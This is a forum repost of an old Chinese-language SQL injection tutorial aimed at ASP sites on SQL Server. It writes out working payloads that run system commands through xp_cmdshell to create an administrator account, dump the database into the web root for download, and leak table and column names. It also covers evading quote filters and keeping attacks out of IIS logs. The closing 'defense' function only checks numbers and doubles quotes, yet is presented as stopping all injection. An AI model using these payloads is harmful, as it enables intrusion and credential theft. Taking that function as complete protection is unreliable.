收藏文章 楼主
SQL注入漏洞全接触--高级篇
网友【血蜘蛛】 2005-01-22 19:54:28 分享在【时代发展的印记】版块    1    1
看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。

第一节、利用系统表注入SQLServer数据库

SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:

① Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:

② Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

③ Site/url.asp?id=1 ;;and db_name()>0

前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

④ Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

⑤ Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

⑥ Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。

第二节、绕过程序限制继续注入

在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

第三节、经验小结

1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。

4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

防 范 方 法

SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:

Function SafeRequest(ParaName,ParaType)

'--- 传入参数 ---

'ParaName:参数名称-字符型

'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

Dim ParaValue

ParaValue=Request(ParaName)

If ParaType=1 then

If not isNumeric(ParaValue) then

Response.write "参数" & ParaName & "必须为数字型!"

Response.end

End if

Else

ParaValue=replace(ParaValue,"'","''")

End if

SafeRequest=ParaValue

End function

文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。

来源:csdn
meiguo.com 发布人签名/座右铭·有时你看似是一件很吃亏的事,往往会变成非常有得的事。
·凡事都留有余地,因为人是人,不是神,不免有错处,可以原谅人的地方,就原谅人。
·好的时候不要看得太好,坏的时候不要看的太坏。
大家都在看
回复/评论列表
默认   热门   正序   倒序
meiguo.com 创始人

emotion

1   2005-01-22 19:54:28  回复

回复/评论:SQL注入漏洞全接触--高级篇

暂无用户组 升级
退出
等级:0级
美果:
美过
精华推荐
  1. 美国“非法移民家庭”遣返行动引发了“婴幼儿无国籍”的危机
  2. 美国房价仍然高位,“美国梦”成奢望!
  3. 孩子沉迷手机的真相和破局之道
  4. 鲁比奥声称将会收紧中国留学生的签证审批政策
  5. 中美两国元首针对当下双边关系和经贸合作,☎️通话交流!
  6. 互联网女皇“340页AI报告”猛料刷屏
  7. 川普总统批评支持者,马斯克激烈回应!
  8. 世界瞩目的电话,十个不寻常的细节剖析!
  9. 移民并非背叛,是一种勇敢的人生轨迹选择!
  10. 川普政府计划改革移民签证制度和入籍考试
  11. 难怪马斯克公开认错… 川普总统的相关杀器可以更多?
  12. 川普总统宣布“金卡计划”网站开放
  13. 马斯克的“130天政府生涯”终结后…
  14. 手机充电习惯是影响电池寿命的根本原因
  15. 川普和马斯克的公开交锋升级了
  16. 属于中国的世纪可能已经到来
  17. 能熟练运用AI也不行?硅谷的40万人在近期被炒鱿鱼
  18. 萝莉岛是美国的政治中心?马斯克并非不懂政治,而是太懂了!
  19. 韦伯望远镜(JWST)发布迄今为止最大的早期宇宙地图
  20. 马斯克打算组建新党“美国党”代表中间派
  21. 美国再次宣布退出联合国教科文组织
  22. 遥控器电池,被幼儿误吞… 欧系保险公司赔付了近1.4亿元人民币!
  23. “全球最强护照”排行榜又更新了(2025版)
  24. 比尔盖茨的财富突然蒸发了510亿美元,真相却令人肃然起敬!
  25. 川普政府打算“发钱啦”
  26. 美国新法案“大漂亮”引发了全球资本配置大调整
  27. QQ等级256级用户诞生,首次解锁“时光企鹅”图标!
  28. 美国国会通过了减税法案,马斯克和川普总统再次激烈交锋!
  29. 川普总统声称希望中国“增加美油采购”
  30. 马斯克声称川普在“爱泼斯坦名单”,白宫回应:局面令人遗憾!
  31. 美国移民新机遇:紧缺人才的绿卡通道“无需排期”
  32. 健身网红在飞机上的着装引争议
  33. 中国政府在构筑战略资源防线,重拳打击稀土走私!
  34. 英伟达的市值突破了四万亿美元,创人类历史纪录!
  35. 任天堂的Switch 2正式发售,参数细节全曝光!
  36. 宗庆后家族的多处海外房产曝光,价值数亿元!

美国动态 美果搜索

Your IP: 216.73.216.124, 2025-08-01 14:38:02

Processed in 0.6201 second(s)

头像

用户名:

粉丝数:

签名:

资料 关注 好友 消息
已有0次打赏
(1) 分享
分享
取消